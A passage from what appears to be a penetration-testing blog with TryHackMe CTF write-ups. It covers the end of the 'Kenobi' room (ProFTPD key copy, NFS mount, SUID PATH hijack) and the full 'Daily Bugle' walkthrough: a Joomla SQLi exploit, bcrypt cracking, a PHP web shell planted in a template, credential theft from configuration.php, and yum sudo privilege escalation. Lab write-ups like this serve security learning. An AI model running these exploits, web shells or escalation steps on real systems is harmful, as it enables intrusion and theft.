This vulnerability means that unauthenticated clients can execute remote command (RCE) against the service.

PROFTPD includes the following command sets:

  • SITE CPFR
  • CITE CPTO

SITE CPFR /home/Kenobi/.ssh/id_rsa

Now issue SITE CPTO /var/tmp/id_rsa

nc 10.10.87.63 21SITE CPFR /home/kenobi/.ssh/id_rsa

SITE CPTO /var/tmp/id_rsa

What we have done here is move the private key to the /var/tmp/ folder

Now we are going to mount this using NFS

mkdir /mnt/kenobiNFSmount 10.10.87.63:/var /mnt/kenobiNFS

ls -la /mnt/kenobiNFS

cp /mnt/kenobiNFS/tmp/id_rsa /pentest/tryhackme/Kenobi

chmod 600 id_rsa

ssh -i id_rsa kenobi@10.10.87.63

We are now have gained access to an SSH shell in userland as Kenobi!

Privilede Escalation using Path Variable Manipulation

Search for files with the SUID bit set:

find / -perm -u=s -type f 2>/dev/null

The binary name which is not a LOLbin is /usr/bin/menu

Running string on the binary

We can see here that the binary is running other binaries without a full path. This means this fact, combined with the SUID bit means this binary can be used to execute commands as root.

To abuse this, we can do the following:

#change to the tmp directorycd /tmp

#copy the bash shell to a file name curl in tmp

echo /bin/sh > curl

#change the permissions using chmod 777 curl

chmod 777 curl

#add /tmp to the $PATH variable

export PATH=/tmp:$PATH

/usr/bin/menu

UNIX permissions can seem confusing if you are coming from a Windows background. I found a great little site that outputs permission values to clear readable formats:

https://chmodcommand.com/chmod-777/

https://chmodcommand.com/chmod-644/

Now we are root!

Now we need to get the flag!

Summary

Well that again was a good experience. I like the way it walks you through. It would have been better if it had included visit the web services and running common web enumeration etc. (e.g. Nikto etc.)

But overall, I like the platform and I like the way it is going into details about the vulnerabilities and config along the route. It gives you the freedom to explore whilst helping people learn, this is a great capability from a learning platform from my point of view.

Author : Puckiestyle

 

thm-dailybungle-nl

Today let’s play a CTF called Daily Bugle at https://tryhackme.com/room/dailybugle

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read this post!

[Task 1]

First question is pretty simple. Open the article and you can find the answer

Access the web server, who robbed the bank?

  • spiderman

[Task 2]

E:\PENTEST>curl http://10.10.22.1/media/system/js/mootools-more.js | findstr MooTools.More
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0MooTools.More={version:"1.4.0.1",build:"a4244edf2aa97ac8a196fc96082dd35af1abab87"};(function(){Events.Pseudos=function(h,e,f){var d="_monitorEvents:";var c=function(i){return{store:i.store?function(j,k){i.store(d+j,k);
100 231k 100 231k 0 0 231k 0 0:00:01 --:--:-- 0:00:01 1344k

E:\PENTEST>
E:\PENTEST>curl http://10.10.22.1/language/en-GB/en-GB.xml
<?xml version="1.0" encoding="utf-8"?>
<metafile version="3.7" client="site">
<name>English (en-GB)</name>
<version>3.7.0</version>
<creationDate>April 2017</creationDate>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<description><![CDATA[en-GB site language]]></description>
<metadata>
<name>English (en-GB)</name>
<nativeName>English (United Kingdom)</nativeName>
<tag>en-GB</tag>
<rtl>0</rtl>
<locale>en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom</locale>
<firstDay>0</firstDay>
<weekEnd>0,6</weekEnd>
<calendar>gregorian</calendar>
</metadata>
<params />
</metafile>

E:\PENTEST>

We found it.

What is the Joomla version?

  • 3.7.0

After some research of finding following exploits for SQL Injection in Joomla

I found the best way to solve this task and exploit the Joomla 3.7.0 SQLi vulnerability

$ git clone git@github.com:XiphosResearch/exploits.git
$ cd exploits/Joomblah

and finally run the exploit.

$ python2 joomblah.py http://10.10.22.1
                                                                                                                    
    .---.    .-'''-.        .-'''-.                                                           
    |   |   '   _    \     '   _    \                            .---.                        
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .           
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|           
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |           
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |           
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.    
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \   
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |   
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |   
 __.'   '                                              |/'..' / '---'/ /   | |_| |     | |   
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.  
|____.'                                                                `--'  `" '---'   '---' 

 [-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: fb9j5_users
  -  Extracting users from fb9j5_users
 [$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
  -  Extracting sessions from fb9j5_session

Now we need to crack the hashed password, so we save bcrypt hash to file hashes.txt and run.

c:\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\Users\jacco\Downloads\rockyou.txt --rules=wordlist --min-len=12 --max-len=12 ../hashes.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123     (?)
1g 0:00:00:02 DONE (2020-02-07 10:54) 0.3846g/s 110.7p/s 110.7c/s 110.7C/s ilovepatrick..quetzalcoatl
Use the "--show" option to display all of the cracked passwords reliably
Session completed
What is Jonah’s cracked password?
  • spiderman123

After logged in to the /administrator page with login jonah and password spiderman123 we need to gain access to ssh. go to page /administrator/index.php?option=com_templates&view=template&id=506&file=L2luZGV4LnBocA. We can edit index.php of template so we can run any command on server and execute them via Template Preview. Before run you don’t forget to save file.

we use a simple php shell replacing index.php in protostar template,

then we reload the main page http://10.10.22.1/ and voila

<?php echo shell_exec($_GET['cmd']);?>

.

system("id");
uid=48(apache) gid=48(apache) groups=48(apache) 
Now we now any command executed via Joomla Template will run under apache user.
system("cat /etc/passwd");
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
--snip--
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin 
We can see user jonah has jjameson username in ssh login, so we need password now.
system("cat configuration.php");
Please check back again soon.'; public $display_offline_message = '1'; public $offline_image = ''; public $sitename = 'The Daily Bugle'; public $editor = 'tinymce'; public $captcha = '0'; public $list_limit = '20'; public $access = '1'; public $debug = '0'; public $debug_lang = '0'; public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'root'; public $password = 'nv5uz9r3ZEDzVjNu'; public $db = 'joomla'; public $dbprefix = 'fb9j5_'; public $live_site = ''; public $secret = 'UAMBRWzHO3oFPmVC'; public $gzip = '0'; public $error_reporting = 'default'; public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}'; public $ftp_host = '127.0.0.1'; public $ftp_port = '21'; public $ftp_user = ''; public $ftp_pass = ''; public $ftp_root = ''; public $ftp_enable = '0'; public $offset = 'UTC'; public $mailonline = '1'; public $mailer = 'mail'; public $mailfrom = 'jonah@tryhackme.com'; public $fromname = 'The Daily Bugle'; public $sendmail = '/usr/sbin/sendmail'; public $smtpauth = '0'; public $smtpuser = ''; public $smtppass = ''; public $smtphost = 'localhost'; public $smtpsecure = 'none'; public $smtpport = '25'; public $caching = '0'; public $cache_handler = 'file'; public $cachetime = '15'; public $cache_platformprefix = '0'; public $MetaDesc = 'New York City tabloid newspaper'; public $MetaKeys = ''; public $MetaTitle = '1'; public $MetaAuthor = '1'; public $MetaVersion = '0'; public $robots = ''; public $sef = '1'; public $sef_rewrite = '0'; public $sef_suffix = '0'; public $unicodeslugs = '0'; public $feed_limit = '10'; public $feed_email = 'none'; public $log_path = '/var/www/html/administrator/logs'; public $tmp_path = '/var/www/html/tmp'; public $lifetime = '15'; public $session_handler = 'database'; public $shared_session = '0'; } 

Interesting. We can try the password to database if it is not the same to jjameson ssh login.

  • username: jjamesson
  • password: nv5uz9r3ZEDzVjNu
Yes, everything works!
E:\PENTEST>ssh jjameson@10.10.22.1
jjameson@10.10.22.1's password:nv5uz9r3ZEDzVjNu
Last login: Mon Dec 16 05:14:55 2019 from netwars
Last login: Mon Dec 16 05:14:55 2019 from netwars
[jjameson@dailybugle ~]$ ls
user.txt
[jjameson@dailybugle ~]$ cat user.txt
27a260fe3cba712cfdedb1c86d80442e

What is the user flag?

  • 27a260fe3cba712cfdedb1c86d80442e

The last step is gain root access on this machine. So let’s do it!

[jjameson@dailybugle ~]$ sudo -l                                                                                                                                                                                    
Matching Defaults entries for jjameson on dailybugle:                                                                                                                                                               
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS     
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET       
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin                                                                                                                                                       
                                                                                                                                                                                                                    
User jjameson may run the following commands on dailybugle:                                                                                                                                                         
    (ALL) NOPASSWD: /usr/bin/yum
Yum is the only one command you can run under root and that’s security miss-configuration. More about the vulnerability you can find here. You can download the exploit here

So let’s download the exploit and copy to vulnerable server

$ wget https://gist.githubusercontent.com/neoice/797777cb0832f596a70b6cba7bbbcc4f/raw/f3f94e105c23d2c01706736d9cd729dd555e9c53/setuid-pop.rpm
$ scp setuid-pop.rpm jjameson@10.10.86.172:~
Now extract the exploit and install it via yum
[jjameson@dailybugle ~]$ cat setuid-pop.rpm | base64 -d | gzip -d > yumsploit.rpm
[jjameson@dailybugle ~]$ sudo yum localinstall ~/yumsploit.rpm 
Loaded plugins: fastestmirror
Examining /home/jjameson/yumsploit.rpm: sploit-1.0-1.x86_64
Marking /home/jjameson/yumsploit.rpm to be installed
Resolving Dependencies
--> Running transaction check
---> Package sploit.x86_64 0:1.0-1 will be installed
--> Finished Dependency Resolution

Dependencies Resolved
...
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : sploit-1.0-1.x86_64                                                                                                                                                                              1/1 
  Verifying  : sploit-1.0-1.x86_64                                                                                                                                                                              1/1 

Installed:
  sploit.x86_64 0:1.0-1                              

Complete!
We have installed pop binary in /usr/local/bin directory with setuid bit. That means pop binary will be runned with root privileges.
meson@dailybugle ~]$ ls -la /usr/local/bin
total 12
drwxr-xr-x.  2 root root   17 Feb  7 10:43 .
drwxr-xr-x. 12 root root  131 Dec 14 13:57 ..
-rwsr-sr-x   1 root root 8744 Jan 18  2019 pop
Let’s execute it.
[jjameson@dailybugle ~]$ /usr/local/bin/pop
[root@dailybugle ~]# id
uid=0(root) gid=0(root) groups=0(root),1000(jjameson) 
[root@dailybugle ~]# cat /root/root.txt
eec3d53292b1821868266858d7fa6f79
Done! We have now root privileges.

What is the root flag?

  • eec3d53292b1821868266858d7fa6f79

Author : Jacco Straathof

Beveiligd: htb-cache-nl

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: thm-food-private

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op